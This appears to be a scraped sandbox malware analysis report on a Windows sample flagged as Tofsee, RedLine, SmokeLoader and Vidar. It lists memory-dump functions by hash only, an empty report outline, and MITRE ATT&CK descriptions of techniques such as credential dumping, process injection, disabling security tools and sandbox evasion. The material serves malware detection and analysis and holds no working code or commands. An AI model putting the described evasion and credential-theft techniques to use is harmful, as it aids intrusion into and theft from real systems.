Function 03058580, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 656198940cb27affc133ee57a43a637fa65c7f6f4d326ab4ed234c43d9e46855
Instruction ID: a7690b3bfd9842a559138bd1867eeb126c2c2625179d063a3c6bd32c0d32aa58
Opcode Fuzzy Hash: 656198940cb27affc133ee57a43a637fa65c7f6f4d326ab4ed234c43d9e46855
Instruction Fuzzy Hash: DBF0AF32705340AFCB20CA349C80F967BE9AB46710F0985A2F555CF191D660E942D751

Uniqueness

Uniqueness Score: -1.00%

Function 0305D828, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b1c0feee0d2127389c5f57f9bbb7475152678ada25aa03262ea7c7c0513e67
Instruction ID: cea9b3b37fd743d813908c4407d1c8dcca902bfdb0932adb9756e5348cb7a528
Opcode Fuzzy Hash: 09b1c0feee0d2127389c5f57f9bbb7475152678ada25aa03262ea7c7c0513e67
Instruction Fuzzy Hash: 83F0FE357119104F8748DB3ED85896AB7EEAFCE65535580BAEA06CB370EF71DC019B40

Uniqueness

Uniqueness Score: -1.00%

Function 0305F7F1, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca85ae4671e667e27b720a45160c679143e6b739a045c84d40bf12f0508a8523
Instruction ID: ce1dadff4ded71e146bf9daf2b2dd75f12b3b29d793ded731660ad01ef5763d4
Opcode Fuzzy Hash: ca85ae4671e667e27b720a45160c679143e6b739a045c84d40bf12f0508a8523
Instruction Fuzzy Hash: 27F08C363051209FC711DB49E854EA6BBB9EFCA72170881A7F508CB320CA34E961DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0305A230, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03fc792d7923466ffd71f88b17dcfc49ebd79f053e88b5fd5f846a0b6521909b
Instruction ID: 6af8b3041c4273338b56ba578fbc3e177e1cfec234cbe817df3dc9aa8150b83f
Opcode Fuzzy Hash: 03fc792d7923466ffd71f88b17dcfc49ebd79f053e88b5fd5f846a0b6521909b
Instruction Fuzzy Hash: 23F0E231B052595FCB41DB686C049BFBBFCEAC4250708413FE815C3105D7308615CB60

Uniqueness

Uniqueness Score: -1.00%

Function 03056360, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7530fc27c99388f4e67c88b7a59da7a96119546990efb3aaa5899cea2f2420
Instruction ID: 1a95c9b0dc91723aa65efcbbe106da3104207ddfbd532041640225f081cc44e3
Opcode Fuzzy Hash: 4a7530fc27c99388f4e67c88b7a59da7a96119546990efb3aaa5899cea2f2420
Instruction Fuzzy Hash: 7DE0CD3270A39403C716952ADC1688FBBFE4ED7120B0884BFE809CF313DC65D8058795

Uniqueness

Uniqueness Score: -1.00%

Function 03056370, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008644722c43a2bfd379502677ce81a0e15e56b93e6d968787efbb9478275b90
Instruction ID: 47b7505af31d86c8a4c19c50ef055b42f0a2d22badb435defbbaed7804d0c087
Opcode Fuzzy Hash: 008644722c43a2bfd379502677ce81a0e15e56b93e6d968787efbb9478275b90
Instruction Fuzzy Hash: 4DD0C737706628134615655FB81049FF3CF8DD5576658407BFA0DCB714DDA2DC4342D4

Uniqueness

Uniqueness Score: -1.00%

Function 0305115B, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a774d30256fa8d0740dddbb880edf8728696cfe91bbfa14723ed10fd99c98cb3
Instruction ID: e87174cb7fad514867b4b806c934e839792ae38ac601dd61d55303dfc72371e6
Opcode Fuzzy Hash: a774d30256fa8d0740dddbb880edf8728696cfe91bbfa14723ed10fd99c98cb3
Instruction Fuzzy Hash: EDE092A150A2895FC345CAACC898A42BBD4EFA331674D41CDC5418F26AE6E88484D742

Uniqueness

Uniqueness Score: -1.00%

Function 03057F88, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4371036222aeb45da569f25274e37c7c6ab22182f9ba1d32955d7bea734af91f
Instruction ID: e9994c2aed6d1e9d7aba15f843d4e521437f751de0be6deb77a2557fd1106988
Opcode Fuzzy Hash: 4371036222aeb45da569f25274e37c7c6ab22182f9ba1d32955d7bea734af91f
Instruction Fuzzy Hash: 1CD0A73060171A478724E767E8408D7B3DDDF886687088C29E46FC7A54DF74F84297C4

Uniqueness

Uniqueness Score: -1.00%

Function 03050FEA, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1caa7359da2ea519f7d52278a1c78cb6684924a3e80dd64addf59e27f5f6cca
Instruction ID: be3ac3cd95171a404e53e659dbfeee4ffb3ca4a97e6cdb64b52cea0098d0da0c
Opcode Fuzzy Hash: b1caa7359da2ea519f7d52278a1c78cb6684924a3e80dd64addf59e27f5f6cca
Instruction Fuzzy Hash: 31D0A731312140C7D7251B30E004289B7A9FB851173104478D40A96619C736C447CB40

Uniqueness

Uniqueness Score: -1.00%

Function 03050C28, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525d050df7dd1df73e44b0f41d803ed39a40791aa1b6beed921311bfcaaef5df
Instruction ID: ba9424c978ae56f0a12cbdf01ba335988a3a9860cd9837751c0cf1413a13ce56
Opcode Fuzzy Hash: 525d050df7dd1df73e44b0f41d803ed39a40791aa1b6beed921311bfcaaef5df
Instruction Fuzzy Hash: F7D0A932009E4BAFC301DBA0D882A0A3BE8A91230030808D5E865CF11ACB28A810878A

Uniqueness

Uniqueness Score: -1.00%

Function 03056338, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f37f5a2f708fbe3661caea1a8246d382e99774258896a82d1a8e27e246ca9071
Instruction ID: 5062c9df53a408b9f48e75b6c81181e78b6120e3784e516c77671ce2216dc65a
Opcode Fuzzy Hash: f37f5a2f708fbe3661caea1a8246d382e99774258896a82d1a8e27e246ca9071
Instruction Fuzzy Hash: 6BD0A931A0B3C54FCF0ACB20C9ABA4B3F30BB92200B0880CCD8428F247C6389904CB82

Uniqueness

Uniqueness Score: -1.00%

Function 03050C03, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27050147fa3ec87e1495b52a44f70bde481d0413d11c55fc33c447f277686445
Instruction ID: b20b6e55641e03a0f6a213416f6439e94694110f0ae0aedee6514011d0497699
Opcode Fuzzy Hash: 27050147fa3ec87e1495b52a44f70bde481d0413d11c55fc33c447f277686445
Instruction Fuzzy Hash: A9D012315092408FCB05CB95C8757163BF1EF96200B0988C9C945AF796C628BC15CB52

Uniqueness

Uniqueness Score: -1.00%

Function 03051160, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb410af84e12976c098b08459cf17ae03ed64cced0efef919e8e77b8b6a18d13
Instruction ID: e02859535a8b4e307344ce56403c45fbfa8796822f00d8f2963636d0717dc74a
Opcode Fuzzy Hash: fb410af84e12976c098b08459cf17ae03ed64cced0efef919e8e77b8b6a18d13
Instruction Fuzzy Hash: FCC08CF82003048FD304CB71CC54A277AEAEFE870AF82C8189002CA228CB748840EB52

Uniqueness

Uniqueness Score: -1.00%

Function 03050C38, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.443338720.0000000003050000.00000040.00000001.sdmp, Offset: 03050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e76908e6bd4ca24d5673d2a832414bcef9104978cca6add5c502e57dfab37bd
Instruction ID: 74282ca53374ae386057d1b39e66f5f5c34bb8c9aa3d29c4eede03af894c1772
Opcode Fuzzy Hash: 5e76908e6bd4ca24d5673d2a832414bcef9104978cca6add5c502e57dfab37bd
Instruction Fuzzy Hash: A9B0123040420E9F8640FBA2F486484371CF5407087400990E41D461195F7C2DA146CD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
Tactics:	Initial Access
Data Sources:	DNS records, Detonation chamber, Email gateway, Mail server, Packet capture, SSL/TLS inspection, Web proxy
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report GJXZRPhgm4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tofsee

Threatname: RedLine

Threatname: SmokeLoader

Threatname: Vidar

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre